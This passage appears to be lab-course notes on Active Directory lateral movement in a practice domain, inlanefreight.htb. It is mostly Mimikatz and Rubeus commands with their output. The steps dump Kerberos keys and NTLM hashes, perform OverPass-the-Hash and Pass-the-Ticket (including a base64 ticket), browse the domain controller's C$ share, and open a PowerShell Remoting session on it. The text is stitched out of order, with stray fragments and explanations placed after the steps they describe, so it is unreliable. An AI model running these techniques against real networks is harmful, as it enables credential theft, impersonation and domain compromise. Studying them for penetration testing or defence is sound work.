An advantage of abusing Kerberos tickets is the ability to forge our own tickets. Let's see how we can do this using the OverPass the Hash or Pass the Key technique.
Mimikatz requires administrative rights to perform the Pass the Key/OverPass the Hash attacks, while Rubeus doesn't
Mimikatz - Extract Kerberos Keys
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
<SNIP>
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session : Interactive from 1
User Name : plaintext
Domain : HTB
Logon Server : DC01
Logon Time : 7/12/2022 9:42:15 AM
SID : S-1-5-21-228825152-3134732153-3833540767-1107
* Username : plaintext
* Domain : inlanefreight.htb
* Password : (null)
* Key List :
aes256_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
rc4_hmac_nt 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_md4 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_nt_exp 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old_exp 3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>
Then Pass the Key or OverPass the Hash
Mimikatz - Pass the Key or OverPass the Hash
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
user : plaintext
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f
| PID 1128
| TID 3268
| LSA Process is now R/W
| LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001C7E2136BC8 (32) -> null
c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
Base64 We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.
c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
______ _
Mimikatz
C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>
We can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command
PowerShell Remoting
To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.
Suppose we find a user account that doesn't have administrative privileges on a remote computer but is a member of the Remote Management Users group. In that case, we can use PowerShell Remoting to connect to that computer and execute commands.
Mimikatz
C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK
mimikatz # exit
Bye!
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>
The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option /ptt to import the ticket into our current session and connect to the DC using PowerShell Remoting.
